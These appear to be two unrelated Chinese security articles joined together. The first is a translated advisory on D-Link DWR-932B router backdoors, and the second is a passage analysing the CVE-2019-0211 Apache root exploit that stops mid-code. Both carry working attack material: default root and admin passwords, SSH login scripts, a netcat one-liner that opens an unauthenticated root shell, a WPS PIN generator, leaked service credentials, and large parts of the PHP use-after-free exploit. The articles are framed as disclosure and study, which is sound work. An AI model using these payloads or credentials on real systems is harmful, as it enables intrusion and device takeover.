在接下来的漏洞分析测试过程中，我们使用的是最新版的官方固件(固件 DWR-932_fw_revB_2_02_eu_en_20150709.zip, 模块版本
B,
/Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc)。
安全专家的观点：如果你是一个积极乐观的人，那么你可以认为这些漏洞的存在是由制造商的疏忽大意而造成的。如果你是一个阴谋论者，那么你也可以认为这些漏洞是制造商故意设计的。这篇文章并没有将所有已发现的相关漏洞披露出来，我们在这篇文章中只对其中一些影响比较严重的安全漏洞进行了分析。需要注意的是，目前这款路由器设备仍然在售。
由于制造商目前还没有向用户提供产品的安全更新补丁，所以这些漏洞目前仍然无法得到修复。如果广大用户对此有任何疑问的话，可以尝试与当地的D-Link服务点取得联系。
**漏洞细节分析－后门账号**
默认配置下，telnetd和SSHd这两个服务程序都会在路由器中运行。需要注意的是，即便是路由器设备中没有提供任何关于telnetd程序的文档和信息，这个服务程序仍然会在路由器中运行：
user@kali:~$ cat ./etc/init.d/start_appmgr
[...]
#Sandro { for telnetd debug...
start-stop-daemon -S -b -a /bin/logmaster
#if [ -e /config2/telnetd ]; then
start-stop-daemon -S -b -a /sbin/telnetd
#fi
#Sandro }
[...]
安全研究专家在这款路由器内发现了两个后门账号，攻击者或可利用这两个后门账号来绕过路由器的HTTP身份验证机制，并获取到路由器的管理权限。
admin@homerouter:~$ grep admin /etc/passwd
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$
在IDA的帮助下，研究人员在“/bin/appmgr”中发现了路由器的管理员账号。设备的管理员账号默认为“admin”，而密码同样也是“admin”。
关于root用户的信息如下所示：
user@kali:~$ cat ./etc/shadow
root:aRDiHrJ0OkehM:16270:0:99999:7:::
daemon:*:16270:0:99999:7:::
bin:*:16270:0:99999:7:::
sys:*:16270:0:99999:7:::
sync:*:16270:0:99999:7:::
games:*:16270:0:99999:7:::
man:*:16270:0:99999:7:::
lp:*:16270:0:99999:7:::
mail:*:16270:0:99999:7:::
news:*:16270:0:99999:7:::
uucp:*:16270:0:99999:7:::
proxy:*:16270:0:99999:7:::
www-data:*:16270:0:99999:7:::
backup:*:16270:0:99999:7:::
list:*:16270:0:99999:7:::
irc:*:16270:0:99999:7:::
gnats:*:16270:0:99999:7:::
diag:*:16270:0:99999:7:::
nobody:*:16270:0:99999:7:::
messagebus:!:16270:0:99999:7:::
avahi:!:16270:0:99999:7:::
admin@kali:~$
使用哈希破解神器John The Ripper来破解我们所获取到的密码哈希：
user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16270:0:99999:7:::
2 password hashes cracked, 0 left
user@kali:~$
分析结果如下：
－admin账号的密码为“admin”
－root账号的密码为“1234”
**利用admin账号完成漏洞利用**
（代替方案，仅供参考［[传送门](https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin)］）：
user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f
set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "adminr"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$
**利用root账号完成漏洞利用**
：（代替方案，仅供参考［[传送门](https://pierrekim.github.io/advisories/quanta-ssh-default-password-root)］）：
user@kali:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f
set timeout 3
spawn ssh root@192.168.1.1
expect "password: $"
send "1234r"
interact
user@kali:~$ ./quanta-ssh-default-password-root
spawn ssh root@192.168.1.1
root@192.168.1.1's password:
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#
**漏洞细节分析－后门**
安全研究专家还发现，在“/bin/appmgr”程序中还存在一个后门程序。如果telnetd守护进程没有处于运行状态的话，攻击者可以通过向目标路由器发送一个特殊字符串（使用UDP协议）来开启一个未经身份验证的telnet服务器。
在“/bin/appmgr”中，有一个线程会持续监听0.0.0.0:39889（UDP），并等待传入控制命令。
如果某个用户向目标路由器发送了一个“HELODBG”字符串，那么路由器将会执行“/sbin/telnetd -l
/bin/sh”，并允许这名用户在未经身份验证的情况下以root用户的身份登录路由器。
在使用IDA来对程序进行分析的过程中，我们可以看到该后门存在于源程序的main函数之中（代码的第369行）：
概念验证实例（PoC）：
user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
OpenEmbedded Linux homerouter.cpe
msm 20141210 homerouter.cpe
/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
user@kali:~$
**漏洞细节分析－默认WPS PIN码**
路由器中的WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定(Wi-Fi Protected
Setup)标准，该标准推出的主要原因是为了解决长久以来无线网络加密认证设定的步骤过于繁杂艰难之弊病，使用者往往会因为步骤太过麻烦，以致干脆不做任何加密安全设定，因而引发许多安全上的问题。我们可以在路由器中的help.html中查看到相关的信息。
默认配置下，该路由器WPS系统的PIN码永远都是“28296607”。实际上，这个PIN码是硬编码在“/bin/appmgr”程序中的。
除此之外，我们不仅还可以在HostAP配置中找到这个PIN码，而且由于设备存在信息泄漏的问题，所以我们也可以在路由器的HTTP API接口中找到该PIN码：
root@homerouter:~# ps -a|grep hostap
1006 root 0:00 hostapd /var/wifi/ar6k0.conf
1219 root 0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]
**漏洞细节分析－弱WPS PIN码生成**
用户可以在路由器的Web管理界面中为WPS系统生成一个临时的PIN码，但是一般用户都不会这样做，因为路由器默认已经帮用户生成了一个WPS
PIN码（28296607）。
路由器所生成的PIN码强度非常弱，因为它使用的是一个非常“奇怪”的逆向工程算法。相关代码如下所示［[点我获取quanta-wps-gen.c](https://pierrekim.github.io/advisories/quanta-wps-gen.c)］：
user@kali:~$ cat quanta-wps-gen.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc,
char **argv,
char **envp)
{
unsigned int i0, i1;
int i2;
/* the seed is the current time of the router, which uses NTP... */
srand(time(0));
i0 = rand() % 10000000;
if (i0 <= 999999)
i0 += 1000000;
i1 = 10 * i0;
i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 *
(i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10))
% 10) % 10 + 10 * i0;
printf("%dn", i2 );
return (0);
}
user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
user@kali:~$ ./dlink-wps-gen
97329329
user@kali:~$
我们可以从上面的代码中看到，其使用了srand(time(0))来作为种子，这是一种非常不安全的做法。因为time(0)会以整形数值的形式返回当前的时间，而攻击者同样可以获取到当前时间。这样一来，攻击者就可以随意生成一个有效的WPS
PIN码了。由于路由器使用了网络时间协议（NTP），所以设备的时间戳设置应该没什么问题。这也就意味着，攻击者将可以轻松地生成大量有效的WPS PIN码。
为了满足各位同学们的好奇心，我们在下方给出了固件中的初始算法：
.text:0001B4D4 EXPORT generate_wlan_wps_enrollee_pin
.text:0001B4D4 generate_wlan_wps_enrollee_pin ; CODE XREF: wifi_msg_handle+194p
.text:0001B4D4
.text:0001B4D4 var_3C = -0x3C
.text:0001B4D4 var_38 = -0x38
.text:0001B4D4 s = -0x34
.text:0001B4D4 var_30 = -0x30
.text:0001B4D4 var_2C = -0x2C
.text:0001B4D4
.text:0001B4D4 STMFD SP!, {R4-R11,LR}
.text:0001B4D8 SUB SP, SP, #0x1C
.text:0001B4DC STR R0, [SP,#0x40+s]
.text:0001B4E0 MOV R0, #0 ; timer
.text:0001B4E4 BL time
.text:0001B4E8 BL srand
.text:0001B4EC BL rand
.text:0001B4F0 LDR R4, =0x6B5FCA6B
.text:0001B4F4 MOV R6, R0,ASR#31
.text:0001B4F8 SMULL R1, R4, R0, R4
.text:0001B4FC RSB R10, R6, R4,ASR#22
.text:0001B500 RSB R12, R10, R10,LSL#5
.text:0001B504 RSB R2, R12, R12,LSL#6
.text:0001B508 ADD R11, R10, R2,LSL#3
.text:0001B50C LDR R8, =0xF423F
.text:0001B510 ADD R9, R11, R11,LSL#2
.text:0001B514 SUB R1, R0, R9,LSL#7
.text:0001B518 CMP R1, R8
.text:0001B51C ADDLS R1, R1, #0xF4000
.text:0001B520 ADDLS R1, R1, #0x240
.text:0001B524 ADD R3, R1, R1,LSL#2
.text:0001B528 MOV R3, R3,LSL#1
.text:0001B52C LDR R1, =0xCCCCCCCD
.text:0001B530 LDR R5, =0xA7C5AC5
.text:0001B534 LDR R6, =0x6B5FCA6B
.text:0001B538 MOV R7, R3,LSR#5
.text:0001B53C UMULL R4, R7, R5, R7
.text:0001B540 UMULL R9, LR, R1, R3
.text:0001B544 UMULL R5, R6, R3, R6
.text:0001B548 LDR R12, =0xD1B71759
.text:0001B54C MOV R6, R6,LSR#22
.text:0001B550 UMULL R10, R12, R3, R12
.text:0001B554 MOV LR, LR,LSR#3
.text:0001B558 UMULL R10, R9, R1, R6
.text:0001B55C UMULL R8, R10, R1, LR
.text:0001B560 LDR R0, =0x431BDE83
.text:0001B564 MOV R12, R12,LSR#13
.text:0001B568 UMULL R11, R0, R3, R0
.text:0001B56C STR R10, [SP,#0x40+var_38]
.text:0001B570 UMULL R8, R10, R1, R12
.text:0001B574 LDR R2, =0x51EB851F
.text:0001B578 LDR R4, =0x10624DD3
.text:0001B57C UMULL R5, R2, R3, R2
.text:0001B580 MOV R0, R0,LSR#18
.text:0001B584 STR R10, [SP,#0x40+var_3C]
.text:0001B588 UMULL R8, R4, R3, R4
.text:0001B58C UMULL R8, R10, R1, R0
.text:0001B590 MOV R2, R2,LSR#5
.text:0001B594 MOV R7, R7,LSR#7
.text:0001B598 UMULL R8, R11, R1, R7
.text:0001B59C STR R10, [SP,#0x40+var_30]
.text:0001B5A0 MOV R4, R4,LSR#6
.text:0001B5A4 UMULL R8, R10, R1, R2
.text:0001B5A8 UMULL R8, R5, R1, R4
.text:0001B5AC STR R10, [SP,#0x40+var_2C]
.text:0001B5B0 MOV R8, R9,LSR#3
.text:0001B5B4 MOV R10, R11,LSR#3
.text:0001B5B8 ADD R11, R10, R10,LSL#2
.text:0001B5BC ADD R9, R8, R8,LSL#2
.text:0001B5C0 MOV R10, R5,LSR#3
.text:0001B5C4 LDR R8, [SP,#0x40+var_38]
.text:0001B5C8 SUB R6, R6, R9,LSL#1
.text:0001B5CC SUB R7, R7, R11,LSL#1
.text:0001B5D0 LDR R9, [SP,#0x40+var_3C]
.text:0001B5D4 LDR R11, [SP,#0x40+var_30]
.text:0001B5D8 ADD R5, R10, R10,LSL#2
.text:0001B5DC SUB R5, R4, R5,LSL#1
.text:0001B5E0 LDR R4, [SP,#0x40+var_2C]
.text:0001B5E4 MOV R10, R8,LSR#3
.text:0001B5E8 MOV R8, R9,LSR#3
.text:0001B5EC MOV R9, R11,LSR#3
.text:0001B5F0 ADD R7, R7, R6
.text:0001B5F4 ADD R10, R10, R10,LSL#2
.text:0001B5F8 ADD R9, R9, R9,LSL#2
.text:0001B5FC MOV R11, R4,LSR#3
.text:0001B600 ADD R8, R8, R8,LSL#2
.text:0001B604 ADD R7, R7, R5
.text:0001B608 SUB LR, LR, R10,LSL#1
.text:0001B60C SUB R5, R0, R9,LSL#1
.text:0001B610 SUB R8, R12, R8,LSL#1
.text:0001B614 ADD R11, R11, R11,LSL#2
.text:0001B618 ADD R12, R7, LR
.text:0001B61C SUB R4, R2, R11,LSL#1
.text:0001B620 ADD R8, R8, R5
.text:0001B624 ADD R5, R8, R4
.text:0001B628 ADD R0, R12, R12,LSL#1
.text:0001B62C ADD R4, R5, R0
.text:0001B630 UMULL R5, R1, R4, R1
.text:0001B634 MOV R2, R1,LSR#3
.text:0001B638 ADD LR, R2, R2,LSL#2
.text:0001B63C SUB R8, R4, LR,LSL#1
.text:0001B640 LDR R0, =0x66666667
.text:0001B644 RSB R2, R8, #0xA
.text:0001B648 SMULL R8, R0, R2, R0
.text:0001B64C MOV R12, R2,ASR#31
.text:0001B650 RSB R1, R12, R0,ASR#2
.text:0001B654 ADD LR, R1, R1,LSL#2
.text:0001B658 LDR R12, =(aHostapd_conf_f - 0x1B670)
.text:0001B65C SUB R4, R2, LR,LSL#1
.text:0001B660 LDR R2, =(aGet_wpspinI - 0x1B67C)
.text:0001B664 ADD R4, R4, R3
.text:0001B668 ADD R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001B66C ADD R0, R0, #0x3C
.text:0001B670 MOV R1, #0x3B
.text:0001B674 ADD R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001B678 MOV R3, R4
.text:0001B67C BL wifi_filelog
.text:0001B680 LDR R1, =(a08lu - 0x1B690)
.text:0001B684 LDR R0, [SP,#0x40+s] ; s
.text:0001B688 ADD R1, PC, R1 ; "%08lu"
.text:0001B68C MOV R2, R4
.text:0001B690 ADD SP, SP, #0x1C
.text:0001B694 LDMFD SP!, {R4-R11,LR}
.text:0001B698 B sprintf
.text:0001B698 ; End of function generate_wlan_wps_enrollee_pin
**
**
**漏洞细节分析－泄漏NO-IP账号（？）**
文件“/etc/inadyn-mt.conf”(针对dyndns客户端)中包含有一个用户名（alex_hung）和一个硬编码的密码：
--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com
**漏洞细节分析－HTTP守护进程（qmiweb）中存在多个漏洞**
安全研究专家在测试过程中发现，HTTP守护进程（/bin/qmiweb）中还存在大量的安全漏洞。
各位同学可以参考我之前的分析报告，这个路由器模块使用的也是类似的固件。［[报告传送门](https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html)］
关于这些漏洞的利用方式我就不再进行赘述了，感兴趣的同学可以自己动手尝试一下，这部分内容就当作家庭作业啦！
**漏洞细节分析－远程FOTA**
路由器与FOTA服务器进行通信时的凭证数据硬编码在“/sbin/fotad”代码中，我们用IDA对代码进行了分析，具体如下图所示：
函数sub_CAAC中包含有凭证数据，（一个已采用base64进行编码的字符串），路由器需要通过这个凭证来从远程服务器获取固件。
值得注意的是，FOTA守护进程会使用HTTPS协议来尝试获取固件。但是在这篇报告发表时，https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml
的SSL证书已经过期长达一年半之久了。
用户/密码如下所示：
qdpc:qdpc
qdpe:qdpe
qdp:qdp
漏洞细节分析－安全实践方案存在缺陷
你可以从“/etc/init.d/start_appmgr”中看到很多奇怪的shell命令，这些命令全部都是以root权限执行的。具体如下所示：
if [ -f /sbin/netcfg ]; then
echo -n "chmod 777 netcfg"
chmod 777 /sbin/netcfg
fi
if [ -f /bin/QNetCfg ]; then
echo -n "chmod 777 QNetCfg"
chmod 777 /bin/QNetCfg
fi
“chmod 777”命令执行后，将会赋予相应文件完整的读/写/执行权限，所以我不太明白制造商为什么要对“/bin/”目录下的文件进行这样的操作。
**漏洞细节分析－UPnP安全问题**
UPnP允许用户动态添加防火墙规则。因为这种做法会带来一定的安全风险，因此设备通常都会对这种操作进行限制，以避免不受信任的客户端添加不安全的防火墙规则。
IPnP的不安全性早在2006年就已经是众所周知的事情了。而该路由器中UPnP程序的安全等级仍然非常的低，处于局域网内的攻击者可以随意修改路由器的端口转发规则。
文件“/var/miniupnpd.conf”是由“/bin/appmgr”程序生成的：
该程序会生成“/var/miniupnpd.conf”：
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
在配置文件中，并没有对UPnP权限规则进行任何限制。在普通的配置文件中，一般只允许端口号在1024以上的端口进行重定向操作。
# UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is <min port>-<max port> or <port> if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535
**总结**
在测试过程中，我们还可以利用一个自定义固件（带有后门）来重写路由器设备的初始固件。如果各位同学感兴趣的话，可以自己动手尝试生成一个带有后门的路由固件。但是由于路由器的默认固件中存在如此之多的安全漏洞，我觉得其实也没必要自己再去制作一个带有后门的自定义固件了。
**参考资料**
－<https://pierrekim.github.io/advisories/2016-dlink-0x00.txt>
－<https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html>
－<https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli> | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/9OtUdzoC9BHzoOxA7IES8A>**
前段时间Apache HTTP
被发现存在本地提权漏洞（CVE-2019-0211），漏洞作者在第一时间就给出了[WriteUp](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)和漏洞[EXP](https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache)，阿尔法实验室也对EXP进行了深入分析，在此将分析的笔记整理分享出来。本文主要按着EXP的执行步骤一步步讲解，同时详细解释了利用过程中几个比较难理解的点：
* PHP UAF漏洞的具体利用细节
* all_buckets[bucket]是如何指向SHM中伪造的结构以及堆喷的问题
* 如何让apr_proc_mutex_t和zend_array、prefork_child_bucket和zend_object这些结构体叠加的
希望对大家理解该漏洞有所帮助。
## 一、漏洞成因
作者的WriteUp中对导致漏洞代码已经有了介绍，这里就只是简单提一下，并省略了大部分的源码以减轻阅读负担。
在Apache的MPM
prefork模式中，以root权限运行主服务器进程，同时管理一个低特权工作进程（worker）池，用于处理HTTP请求。主进程和worker之间通过一个共享内存（SHM）进行通信。
1.当Apache
httpd服务器优雅重启（graceful）时，httpd主进程会杀死旧worker并用新worker替换它们，这就会调用`prefork_run()`函数产生新的worker：
//server/mpm/prefork/prefork.c
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
/* ... */
make_child(ap_server_conf, child_slot,
ap_get_scoreboard_process(child_slot)->bucket);
/* ... */
}
2.在该函数中调用`make_child()`，并使用`ap_get_scoreboard_process(child_slot)->bucket`作为参数。`make_child()`函数会创建新的子进程，同时根据`bucket`索引读取`all_buckets`数组到`my_bucket`：
//server/mpm/prefork/prefork.c
static int make_child(server_rec *s, int slot, int bucket)
{
/* ... */
my_bucket = &all_buckets[bucket];
/* ... */
child_main(slot, bucket);
/* ... */
3.调用`child_main()`，如果Apache侦听多个端口，那么`SAFE_ACCEPT(<code>)`宏中的`<code>`将会执行，这里`apr_proc_mutex_child_init()`将会执行：
//server/mpm/prefork/prefork.c
static void child_main(int child_num_arg, int child_bucket)
{
/* ... */
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));
/* ... */
4.上述函数进一步调用`(*mutex)->meth->child_init(mutex, pool, fname)`。
//apr-1.7.0
//locks/unix/proc_mutex.c
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool)
{
return (*mutex)->meth->child_init(mutex, pool, fname);
}
整个简化的流程如下：
prefork_run()
make_child(bucket)
my_bucket = &all_buckets[bucket];
child_main(bucket)
SAFE_ACCEPT(apr_proc_mutex_child_init)
apr_proc_mutex_child_init(my_bucket->mutex)
mutex->meth->child_init(&my_bucket->mutex)//覆盖child_init()的指针来指向代码
如果我们在共享内存中伪造一个`prefork_child_bucket`结构（即all_buckets数组的元素），并修改`all_buckets`数组的索引`bucket`，就可以在第三行处的代码控制`my_bucket`指向该结构。
进而在后续代码执行`my_bucket->mutex->meth->child_init(mutex, pool,
fname)`，`meth`结构包含指向多个函数的指针，因此，将其中的`child_init`函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的，并且此时进程还是处于root权限的，后面才降低自身的权限。
## 二、漏洞利用
作者在其WriteUp将利用过程分为四个步骤，但实际的exp要比他写得更繁琐一点，在顺序上也稍微有些不同。以下是根据exp执行步骤整理的流程，补充了一些细节：
1. 利用PHP读取worker的/proc/self/maps文件，进而定位一些漏洞利用所需模块和函数的地址
2. 枚举/proc/*/cmdline和/proc/*/status文件，得到所有worker进程的PID
3. 利用一个PHP的UAF漏洞，在worker进程中获取读/写SHM的权限
4. 遍历Apache的内存，根据内存模式匹配找到与`all_buckets`数组地址
5. 因为优雅重启后，`all_buckets`的位置会改变，因此需要计算一个"适当"的bucket索引，保证`all_buckets[bucket]`仍然指向伪造的`prefork_child_bucket`结构
6. 在SHM中构造payload
7. 喷射payload之后剩余的SHM区域，确保第5步中`all_buckets[bucket]`指向这片区域后，能转跳到payload
8. 将`process_score->bucket`修改为第5步中计算的bucket。此外为了进一步提高成功率，还可以枚举SHM区域所有的`process_score`结构，将每个worker的`process_score->pid`与第2步得到的PID的相比较，匹配上的就是正确的`process_score`结构，将每个worker的`process_score->bucket`都进行修改。
9. 等待Apache优雅重启触发漏洞（每天早上6:25会自动执行，也可手动重启验证结果）
具体的细节如下图：
### 2.1 exp概述
`get_all_addresses()`、`get_workers_pids()`函数分别取得几个关键内存地址、worker的PID放入全局变量`$addresses`和`$worker_pids`中，以便在随后的利用中使用。需要注意如果执行exp时无法解析`shm`和`apache`的地址，可能是因为你的环境中`shm`的大小与exp中查找的范围不一致，可以自己查看一下maps文件，然后修改`if
($msize >= 0x10000 && $msize <= 0x16000)`这一行为正确的值即可。
`real()`函数有两个作用，一是触发PHP的UAF漏洞。二是开始真正的漏洞利用过程，因为`Z`中定义了`jsonSerialize()`方法，它会在类实例被序列化的时候调用，即后面执行`json_encode()`时调用，而所有的利用代码都在`jsonSerialize()`中。
下面的代码只保留了EXP的基本框架，只为了让大家有一个整体上的概念：
<?php
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
class Z implements JsonSerializable
{
public function jsonSerialize()
{
...
}
...
}
...
function get_all_addresses()
{
...
}
function get_workers_pids()
{
...
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
接下来具体看看`jsonSerialize()`中的代码。
### 2.2 利用PHP的UAF获取读写SHM的权限
还是先概括的讲一讲PHP这个UAF漏洞原理：
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
...
$this->abc = ptr2str(0, 79); //ptr2str在这里等同于创建一个字符串
...
unset($y[0]);
...
$x = new DateInterval('PT1S');
...
}
}
1. 我们在`Z`中定义了一个字符串`$this->abc`（PHP内部使用zend_string表示），就好比C中`malloc`一块内存
2. 接着`unset($y[0])`（`Z`的实例），就像"`free`"掉刚才分配的内存
3. 然后再请求分配一个和刚才释放大小相同的内存块，这里使用的是`DateInterval`（PHP的对象内部实现往往由几个结构体组成，这里其实是DateInterval中的timelib_rel_time和zend_string大小相同），于是`DateInterval`就占据了原来字符串的位置，如下图所示：
4. 此时`$this->abc`仍然可用并指向原来的位置，于是我们可以通过修改`DateInterval`来控制字符串`$this->abc`。
PHP字符串的内部实现如下，用一个`zend_string`表示，通过成员变量`len`来判断字符串长度，从而实现二进制安全。我们修改`DateInterval`的属性间接修改`len`的大小就可以通过`this->abc`读写SHM区域了。当然，为了能够成功利用漏洞，还有许多细节需要考虑。
struct _zend_string {
zend_refcounted gc;
zend_ulong h;
size_t len;
char val[1];
};
#### 2.2.1 填充空闲内存块
在脚本运行之前可能发生了大量的分配/释放，因此同时实例化的两个变量也不一定是连续的，为解决这个问题，实例化几个`DateInterval`对象填充不连续空闲块，以确保后面分配的内存是连续的：
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
$_protector = ptr2str(0, 78);
#### 2.2.2 创建保护内存块
为了保证UAF后我们控制的结构属于一块空闲内存，如果我们之后创建其他变量，那么这些变量可能会破坏我们已经控制的结构，为了避免这种情况，这里分配了很多对象`Z`的实例，后面的代码中会将其释放，由于PHP的堆LIFO的特点，这些释放掉的内存会优先于UAF的那块内存分配，从而保护被我们控制的结构。
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
函数`ptr2str`的作用相当于在内存中分配一个大小为78的`zend_string`结构，为什么是78这个大小接下来会提到。
$_protector = ptr2str(0, 78);
#### 2.2.3 分配UAF的字符串
接着创建字符串`$this->abc`，也就是一个`zend_string`结构，通过对它进行UAF，进而读写共享内存。
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
创建`$p`的目的是为了保护`$this->abc`，前面说过，一个PHP对象往往由许多结构组成，而`DateInterval`中的`timelib_rel_time`结构大小就刚好为78，这就是前面为何要创建大小78的`zend_string`的原因。
此时的内存布局如下图所示，这里和下面的所有图示都是为了方便大家理解，因为PHP各种变量、对象往往由好几个结构实现，所以实际的PHP堆内存排布肯定比此复杂。
#### 2.2.4 触发UAF并验证
接着`unset`当前对象`$y[0]`和`$p`，`unset`掉`$p`意味着释放了`DateInterval`的`timelib_rel_time`结构。
unset($y[0]);
unset($p);
此时内存布局如下：
然后我们将分配一个与其大小相同的字符串（$protector），由于PHP堆LIFO的特点，因此字符串将取代`timelib_rel_time`结构的位置。
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
接着就是最重要的一步：
$x = new DateInterval('PT1S');
再次创建一个`DateInterval`，它的`timelib_rel_time`结构将刚好占据上图中free的内存位置，同时`$this->abc`仍然是可以访问free这块内存的，即：&timelib_rel_time
== &zend_string。因此我们可以通过修改`DateInterval`对象来修改`zend_string.len`，从而控制可以读/写内存的长度。
完成上述步骤后，我们还需要验证UAF是否成功，看一下`DateInterval`的定义：
DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public float $f ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static createFromDateString ( string $time ) : DateInterval
public format ( string $format ) : string
}
因为有&timelib_rel_time ==
&zend_string，所以这里的`$d`和`$y`分别对应`zend_string`里的`len`和`val`。可以将`$x`（`DateInterval`）的`h`属性设置为0x13121110，再通过`$this->abc`字符串（`zend_string`）访问来判断UAF成功与否。
# zend_string.refcount = 0
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');;
最后别忘了释放掉`$room`，产生的空闲块将保护我们控制的结构，后面再新建变量都会优先使用这些内存。
unset($room);
#### 2.2.5 控制并修改UAF的结构
利用这个PHP漏洞的目的是为了能够获取读写SHM的权限，现在我们能够读写`zend_string.val`的内容，能读写的长度是`zend_string.len`，因此只要将`len`的值增加到包括SHM的范围。
这时我们已经知道了SHM的绝对地址，还需要知道`abc`的绝对地址，得到两者之间的偏移量才可以修改`len`。因此需要找到字符串`$this->abc`在内存中的位置：
$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
然后我们就可以计算两者间的偏移量了，还要注意的是，因为后面我们需要在内存中查找`all_bucket`，而它在apache的内存中所以我们的`len`需要将SHM和apache的内存都覆盖到，所以作者的WriteUp中说SHM和apache的内存都需要在PHP堆之后，而它们也确实都在PHP堆之后。
找SHM和apache的内存两者间较大的值，减去`abc`的地址，将得到的偏移通过`DateInterval`的`d`属性修改来修改`zend_string.len`。
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) - $address;
$x->d = $distance;
这等同于将`zend_string`结构（$this->abc）中的`len`修改为一个超大的值，一直包括到SHM和Apache内存区域，这下我们就可以读写这个范围内的内存了。
### 2.3 在内存中定位all_buckets
根据内存模式查找all_buckets数组的位置，这在作者的writeup中有提到。`mutex`在`all_buckets`偏移0x10的位置，而`meth`在`mutex`偏移0x8的位置，根据该特征查找all_buckets数组。
首先，在apache的内存中搜索`all_buckets[idx]->mutex`，接着验证`meth`，是否在libapr.so的.data段中，最后因为`meth`指向libapr.so中定义的函数，因此验证其是否在.text段。满足这些条件的就是我们要找的`all_buckets[]`结构。
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
顺便将meth结构中所有函数指针打印出来，第6个就是我们要用到的`(*child_init)()`。
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
